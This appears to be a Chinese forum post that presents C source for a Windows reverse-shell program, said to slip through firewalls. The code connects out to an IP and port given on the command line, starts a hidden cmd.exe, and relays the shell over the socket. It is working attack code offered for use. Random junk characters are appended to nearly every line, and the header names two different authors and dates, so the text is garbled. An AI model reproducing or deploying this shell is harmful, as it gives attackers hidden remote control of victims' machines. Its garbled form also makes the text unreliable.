Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 1$VI\}  
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/* ============================== Iq]6]  
Rebound port in Windows NT Pu*HZW3l
 
By wind,2006/7 8VmN?"5v  
===============================*/ 6a7iLQA  
#include {l&2Kd*  
#include %QgAilj,  
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#pragma comment(lib,"wsock32.lib") ^(JHRH~=h  
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void OutputShell(); SWsv,  
SOCKET sClient; Mgs|*u-5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mMAr8~A=  
B9Q.s  
void main(int argc,char **argv) $cK B+}  
{ }!<cph  
WSADATA stWsaData; w a<C*o  
int nRet; {U '&9_y  
SOCKADDR_IN stSaiClient,stSaiServer; ENWB|@B  
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if(argc != 3) ]MLLr'6?  
{ y6Epi|8  
printf("Useage:\n\rRebound DestIP DestPort\n"); !K3cf]2UD  
return; (E}cA&{  
} *.]E+MYi*  
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WSAStartup(MAKEWORD(2,2),&stWsaData); fEG3b#t N  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H L|spl(c  
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stSaiClient.sin_family = AF_INET; d3G{0PX  
stSaiClient.sin_port = htons(0); 50GYL5
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )R)$T'  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) lhA s!\F  
{ o-=d|dWG  
printf("Bind Socket Failed!\n"); FNm6/_u3  
return; d<Q+D1  
} iynS4
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stSaiServer.sin_family = AF_INET; hJo^Wo  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y-3[KHD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L^Q+Q)zTh  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #f3;}1(  
{ K

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printf("Connect Error!"); Ym.l@(  
return; Rs F3#H  
} tkN3BQ  
OutputShell(); NC.P2^%  
} T$^>Fiz{Se  
$#7J\=GZ+  
void OutputShell() #}!>iFBcH  
{ r d6F"W  
char szBuff[1024]; q= yZx)  
SECURITY_ATTRIBUTES stSecurityAttributes; n*m"L|:ff  
OSVERSIONINFO stOsversionInfo; }K/}(zuy1Y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TjUZv1(L  
STARTUPINFO stStartupInfo; a][pTC\rb  
char *szShell; .5!sOOs$P  
PROCESS_INFORMATION stProcessInformation; %-ZR~*  
unsigned long lBytesRead; mbX)'. +L  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +dgo-)kP(_  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~njbLUB  
stSecurityAttributes.lpSecurityDescriptor = 0; qHR^0&  
stSecurityAttributes.bInheritHandle = TRUE; l!;_lH8W$  
F!)M<8jL&9  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c2/R]%`)9  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U+*oI*  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xQ#Akd=  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (9KDtr*(2i  
stStartupInfo.wShowWindow = SW_HIDE; WS1&3mOd  
stStartupInfo.hStdInput = hReadPipe; prlyaq;4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G/fP(o-Wd  
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GetVersionEx(&stOsversionInfo); r
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switch(stOsversionInfo.dwPlatformId) 1<W4>~,wj  
{ rwL=R,   
case 1: %jZp9}h  
szShell = "command.com"; vLBee>$  
break; <84C tv  
default: 5y%u
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szShell = "cmd.exe"; hY.e[+  
break; jSie&V@px  
} ^Y{6;FJ  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #a(%(k S  
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send(sClient,szMsg,77,0); #hgmUa  
while(1) H~?*KcZ 0\  
{ L}}=yh6r  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =mKfFeO.  
if(lBytesRead) hJw |@V  
{ FQk_#BkK  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j<ABO")v  
send(sClient,szBuff,lBytesRead,0); %tzN@  
} stg30><  
else >'} Y1_S5  
{ [y|^P\D  
lBytesRead=recv(sClient,szBuff,1024,0); )IFl 0<d  
if(lBytesRead<=0) break; ;wJ7oj<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S2rEy2\}:  
} #~H%[sa  
} 5)d,G9  
%\}dbYS '  
return; ,7^d9v3t  
}